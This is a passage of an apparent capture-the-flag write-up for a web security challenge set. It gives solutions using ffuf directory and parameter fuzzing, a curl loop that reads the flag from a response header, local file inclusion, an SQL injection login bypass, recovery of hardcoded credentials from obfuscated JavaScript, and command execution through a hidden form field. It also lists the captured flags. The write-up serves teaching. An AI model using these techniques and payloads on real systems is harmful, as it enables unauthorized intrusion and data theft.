</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.htpasswd               <span class="o">[</span>Status: 200, Size: 18, Words: 1, Lines: 1, Duration: 21ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.php                    <span class="o">[</span>Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 33ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd              <span class="o">[</span>Status: 200, Size: 18, Words: 1, Lines: 1, Duration: 30ms<span class="o">]</span>rs: <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>4193/4193<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">145</span> req/sec :: Duration: <span class="o">[</span>0:00:28<span class="o">]</span> :: Errors: <span class="m">1</span> ::
</span></span></code></pre></div><p>The <code>.htpasswd</code> file is accessible, which leads to the flag.</p>
<p><img alt="shoupu-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/shoupu-flag.png#center"></p>
<p>Flag: <code>CyberYami{G0t_Th3_S3cr3t_Fl4g!!!}</code></p>
<h3 id="restaurant">Restaurant</h3>
<p>URL: <code>http://3.7.252.130/Restaurant</code> <br>
Points: <code>50</code> <br>
Description: <em>It&rsquo;s very famous restaurant.</em></p>
<p><img alt="restaurant-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/restaurant-1.png#center"></p>
<p>Clicking on <code>Order Now</code> we see one POST request with empty <code>order=</code> data.</p>
<p><img alt="restaurant-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/restaurant-2.png#center"></p>
<p>If we enter any non-empty value in the <code>ordder</code> POST parameter, we see one extra header, <code>X-Char:</code> which is returning one flag character at a time.</p>
<p><img alt="restaurant-3.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/restaurant-3.png#center"></p>
<p>We can write a simple script to get the entire flag.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="mf">1</span><span class="p">.</span><span class="mf">.31</span> <span class="p">|</span> <span class="nb">ForEach-Object</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nb">Write-Host</span> <span class="n">-NoNewline</span> <span class="vm">$</span><span class="p">(</span><span class="nb">curl </span><span class="n">-si</span> <span class="n">http</span><span class="err">:</span><span class="p">//</span><span class="mf">3.7</span><span class="p">.</span><span class="py">252</span><span class="p">.</span><span class="mf">130</span><span class="p">/</span><span class="n">Restaurant</span><span class="p">/</span> <span class="n">-d</span> <span class="s1">&#39;order=x&#39;</span> <span class="n">-b</span> <span class="s1">&#39;PHPSESSID=4v2smlksuud8e5a93p6794q30f&#39;</span> <span class="p">|</span> <span class="n">grep</span> <span class="n">-oP</span> <span class="s1">&#39;(?&lt;=X-Char: ).&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Flag: <code>CyberYami{Ch4r_By_Ch4r_Exfil@@}</code></p>
<h3 id="yami">Yami</h3>
<p>URL: <code>http://3.7.252.130:8080/</code> <br>
Points: <code>+100</code> <br>
Description: <em>We have started new food business.</em></p>
<p>In the <code>menu.jsp</code> page we have a very simple and clear LFI.</p>
<p><img alt="yami-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/yami-1.png#center"></p>
<p>In the <code>about.jsp</code> page, we notice one comment related to flag.</p>
<p><img alt="yami-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/yami-2.png#center"></p>
<p><code>http://3.7.252.130:8080/about.jsp</code> =&gt; <code>&lt;!-- Flag is in flag --&gt;</code></p>
<p>Now we know that the <code>Flag is in flag</code> (not flag.txt). and by reading the source code of <code>menu.jsp</code> we know that we are in <code>/usr/local/tomcat/webapps/ROOT/menu</code> directory.</p>
<p>After some trial and error and searching some well-known Linux directories, we found our flag in the <code>/var/www/</code> directory.</p>
<p><img alt="yami-3.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/yami-3.png#center"></p>
<p>Flag: <code>CyberYami{lF1_3xpl01t_5uCce5s!!}</code></p>
<h3 id="login-4">Login 4</h3>
<p>URL: <code>http://3.7.252.130:8081/</code> <br>
Points: <code>+50</code> <br>
Description: <em>Again login, That&rsquo;s it.</em></p>
<p>This login form is vulnerable to SQLi. We can login using a payload like <code>admin' or '1'='1</code>.</p>
<p><img alt="login_4-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_4-1.png#center"></p>
<p><img alt="login_4-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_4-2.png#center"></p>
<p>Flag: <code>CyberYami{5ql_1nj3ct1on_suCc3ssFul$$--;-}</code></p>
<h3 id="login-5">Login 5</h3>
<p>URL: <code>http://3.7.252.130/Login5/</code> <br>
Points: <code>+50</code> <br>
Description: <em>I&rsquo;m back with one more login.</em></p>
<p>This time we notice obfuscated code in the JavaScript file. Let&rsquo;s deobfuscate it using <a href="https://deobfuscate.relative.im/">https://deobfuscate.relative.im/</a>. We get the following code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nb">document</span>
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;login-form&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s1">&#39;submit&#39;</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">_0x5170d8</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">_0x5170d8</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">_0x297c57</span> <span class="o">=</span> <span class="s1">&#39;hidden_user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nx">_0x455914</span> <span class="o">=</span> <span class="s1">&#39;super_hidden_password &#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nx">_0x4f9d8a</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;username&#39;</span><span class="p">).</span><span class="nx">value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nx">_0x969523</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;password&#39;</span><span class="p">).</span><span class="nx">value</span>
</span></span><span class="line"><span class="cl">    <span class="nx">_0x4f9d8a</span> <span class="o">===</span> <span class="nx">_0x297c57</span> <span class="o">&amp;&amp;</span> <span class="nx">_0x969523</span> <span class="o">===</span> <span class="nx">_0x455914</span>
</span></span><span class="line"><span class="cl">      <span class="o">?</span> <span class="nx">fetch</span><span class="p">(</span><span class="s1">&#39;verify.php&#39;</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nx">method</span><span class="o">:</span> <span class="s1">&#39;POST&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="nx">headers</span><span class="o">:</span> <span class="p">{</span> <span class="s1">&#39;Content-Type&#39;</span><span class="o">:</span> <span class="s1">&#39;application/x-www-form-urlencoded&#39;</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">          <span class="nx">body</span><span class="o">:</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">            <span class="nx">username</span><span class="o">:</span> <span class="nx">_0x4f9d8a</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">password</span><span class="o">:</span> <span class="nx">_0x969523</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="p">}),</span>
</span></span><span class="line"><span class="cl">        <span class="p">})</span>
</span></span><span class="line"><span class="cl">          <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">_0x1233c0</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">_0x1233c0</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">          <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">_0xf8f4a4</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">_0xf8f4a4</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="s1">&#39;success&#39;</span>
</span></span><span class="line"><span class="cl">              <span class="o">?</span> <span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">                  <span class="s1">&#39;Flag: &#39;</span> <span class="o">+</span> <span class="nx">_0xf8f4a4</span><span class="p">.</span><span class="nx">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">              <span class="o">:</span> <span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">                  <span class="s1">&#39;Invalid credentials!&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="p">})</span>
</span></span><span class="line"><span class="cl">      <span class="o">:</span> <span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="s1">&#39;Invalid credentials!&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span></code></pre></div><p>We found the <code>username = 'hidden_user'</code> and <code>password = 'super_hidden_password '</code>. Don&rsquo;t miss the space at last in the password!</p>
<p>When we try to login using these credentials, we get the flag.</p>
<p><img alt="login_5-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/login_5-flag.png#center"></p>
<p>Flag: <code>CyberYami{tH3_h1dd3n_fl4g_1s_h3r3}</code></p>
<h3 id="healet">Healet</h3>
<p>URL: <code>http://3.7.252.130/Healet</code> <br>
Points: <code>+30</code> <br>
Description: <em>Jewellery shop.</em></p>
<p>When we visit the challenge page, we notice a strange response header called <strong><code>X-Ses</code></strong>.</p>
<p><img alt="healet-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/healet-1.png#center"></p>
<p>This looks like a hexadecimal number. We obtain the flag by decoding it from hex.</p>
<p><img alt="healet-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/healet-flag.png#center"></p>
<p>Flag: <code>CyberYami{h34D3r_fL4G_!!}</code></p>
<h3 id="pill">Pill</h3>
<p>URL: <code>http://3.7.252.130/Pill</code> <br>
Points: <code>+30</code> <br>
Description: <em>Take your pill.</em></p>
<p>We are offered the choice of selecting a pill from red or blue.</p>
<p><img alt="pill-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/pill-1.png#center"></p>
<p>The selected pill is submitted using the GET parameter <code>pill=red</code>.
Let&rsquo;s see what additional colors are available.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -u <span class="s1">&#39;http://3.7.252.130/Pill/?pill=FUZZ&#39;</span> -w colors-list.txt -fr <span class="s1">&#39;Invalid pill selection!&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : GET
</span></span><span class="line"><span class="cl"> :: URL              : http://3.7.252.130/Pill/?pill<span class="o">=</span>FUZZ
</span></span><span class="line"><span class="cl"> :: Wordlist         : FUZZ: C:<span class="se">\U</span>sers<span class="se">\J</span>ack<span class="se">\D</span>ownloads<span class="se">\c</span>olors-list.txt
</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl"> :: Filter           : Regexp: Invalid pill selection!
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">purple                  <span class="o">[</span>Status: 200, Size: 1517, Words: 456, Lines: 55, Duration: 23ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">red                     <span class="o">[</span>Status: 200, Size: 1494, Words: 456, Lines: 55, Duration: 28ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">blue                    <span class="o">[</span>Status: 200, Size: 1495, Words: 456, Lines: 55, Duration: 5826ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>166/166<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">16</span> req/sec :: Duration: <span class="o">[</span>0:00:10<span class="o">]</span> :: Errors: <span class="m">0</span> ::
</span></span></code></pre></div><p>The newly discovered <code>purple</code> pill returns the flag.</p>
<p><img alt="pill-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/pill-flag.png#center"></p>
<p>Flag: <code>CyberYami{Purpl3_p1ll_fl4g_1234$}</code></p>
<h3 id="carvilla">Carvilla</h3>
<p>URL: <code>http://3.7.252.130/Carvilla/</code> <br>
Points: <code>30</code> <br>
Description: <em>Cars services.</em></p>
<p>There is no input on this static webpage. A strange cookie called <code>&quot;_ma&quot;</code> is being set.</p>
<p><img alt="carvilla-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/carvilla-1.png#center"></p>
<p>It is a base32-encoded string. Decoding it with base32 will reveal the flag.</p>
<p><img alt="carvilla-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/carvilla-flag.png#center"></p>
<p>Flag: <code>CyberYami{C00K1E_c00k1e_123$$}</code></p>
<h3 id="cyshell">CYShell</h3>
<p>URL: <code>http://13.201.47.7:8080/</code> <br>
Points: <code>+100</code> <br>
Description: <em>Our famous bot.</em></p>
<p><img alt="cyshell-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/cyshell-1.png#center"></p>
<p>When we click the submit button in <code>Commands.php</code>, we get output similar to <code>uname</code> on Linux. Checking the source code, we find one hidden form field with the <code>name=&quot;cmd&quot;</code> and <code>value=&quot;uname -a&quot;</code>.</p>
<p><img alt="cyshell-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/cyshell-2.png#center"></p>
<p>This seems quite interesting. Let&rsquo;s see whether we can run our commands.</p>
<p><img alt="cyshell-3.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/cyshell-3.png#center"></p>
<p>Okay, now we have RCE. Let us find the flag. In the HTML source code of the home page, there is one comment which indicates the location of the flag file.</p>
<p><img alt="cyshell-4.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/cyshell-4.png#center"></p>
<p>We now know that the flag is located in <code>'/flag.txt'</code>, but we can&rsquo;t print it using <code>cat</code>. Perhaps some protections are in place, but we can use other utilities, such as <code>base64</code>, to return the encoded file, possibly evading them.</p>
<p><img alt="cyshell-5.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/cyshell-5.png#center"></p>
<p><img alt="cyshell-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/cyshell-flag.png#center"></p>
<p>Flag: <code>CyberYami{N0t_S0_MucH_53cur3!}</code></p>
<h3 id="denied">Denied</h3>
<p>URL: <code>http://3.7.252.130:8083/</code> <br>
Points: <code>100</code> <br>
Description: <em>CyberYami IT Solutions.</em></p>
<p>This is a static website. There is only one form field, and it is not injectable. So, let&rsquo;s look for any hidden directories.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ ffuf -u <span class="s1">&#39;http://3.7.252.130:8083/FUZZ&#39;</span> -w <span class="nv">$wordlist_good</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        /<span class="s1">&#39;___\  /&#39;</span>___<span class="se">\ </span>          /<span class="err">&#39;</span>___<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>       /<span class="se">\ \_</span>_/ /<span class="se">\ \_</span>_/  __  __  /<span class="se">\ \_</span>_/
</span></span><span class="line"><span class="cl">       <span class="se">\ \ </span>,__<span class="se">\\</span> <span class="se">\ </span>,__<span class="se">\/\ \/\ \ \ \ </span>,__<span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>        <span class="se">\ \ \_</span>/ <span class="se">\ \ \_</span>/<span class="se">\ \ \_\ \ \ \ \_</span>/
</span></span><span class="line"><span class="cl">         <span class="se">\ \_\ </span>  <span class="se">\ \_\ </span> <span class="se">\ \_</span>___/  <span class="se">\ \_\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>          <span class="se">\/</span>_/    <span class="se">\/</span>_/   <span class="se">\/</span>___/    <span class="se">\/</span>_/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       v2.1.0-dev
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> :: Method           : GET
</span></span><span class="line"><span class="cl"> :: URL              : http://3.7.252.130:8083/FUZZ
</span></span><span class="line"><span class="cl"> :: Wordlist         : FUZZ: D:<span class="se">\T</span>ools<span class="se">\w</span>ordlist<span class="se">\w</span>eb<span class="se">\g</span>ood.txt
</span></span><span class="line"><span class="cl"> :: Header           : User-Agent: Mozilla/5.0 <span class="o">(</span>Macintosh<span class="p">;</span> Intel Mac OS X 10_15_7<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/128.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl"> :: Follow redirects : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Calibration      : <span class="nb">false</span>
</span></span><span class="line"><span class="cl"> :: Timeout          : <span class="m">10</span>
</span></span><span class="line"><span class="cl"> :: Threads          : <span class="m">50</span>
</span></span><span class="line"><span class="cl"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span class="line"><span class="cl">________________________________________________
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/admin/config.php       <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 33ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">//admin/config.php      <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 32ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">.htaccess.save          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span>:
</span></span><span class="line"><span class="cl">.htpasswd               <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms<span class="o">]</span>::
</span></span><span class="line"><span class="cl">.htaccess-marco         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms<span class="o">]</span>::
</span></span><span class="line"><span class="cl">.htpasswrd              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htusers                <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htpasswds              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htpasswd_test          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 25ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htaccess-dev           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.ht_wsr.txt             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htpasswd-old           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htpasswd.inc           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htaccess.old           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">0</span> ::
</span></span><span class="line"><span class="cl">.htaccess_orig          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 28ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess_extra         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 33ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccessOLD            <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess.bak1          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 32ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess_sc            <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccessOLD2           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 25ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess~              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess               <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess.inc           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.httpie/                <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccessBAK            <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htgroup                <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 27ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.httr-oauth             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess.txt           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess-local         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htpasswd.bak           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 22ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.hta                    <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess.orig          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess.sample        <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess/              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 32ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htpasswd/              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 23ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">.htaccess.bak           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">//admin/.env            <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 30ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/admin/.env             <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 31ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/admin/.git/config      <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 30ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccessOLD           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess-marco        <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.BAK          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd_test         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess-local        <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 20ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccessBAK           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.bak1         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 42ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess_extra        <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms<span class="o">]</span>
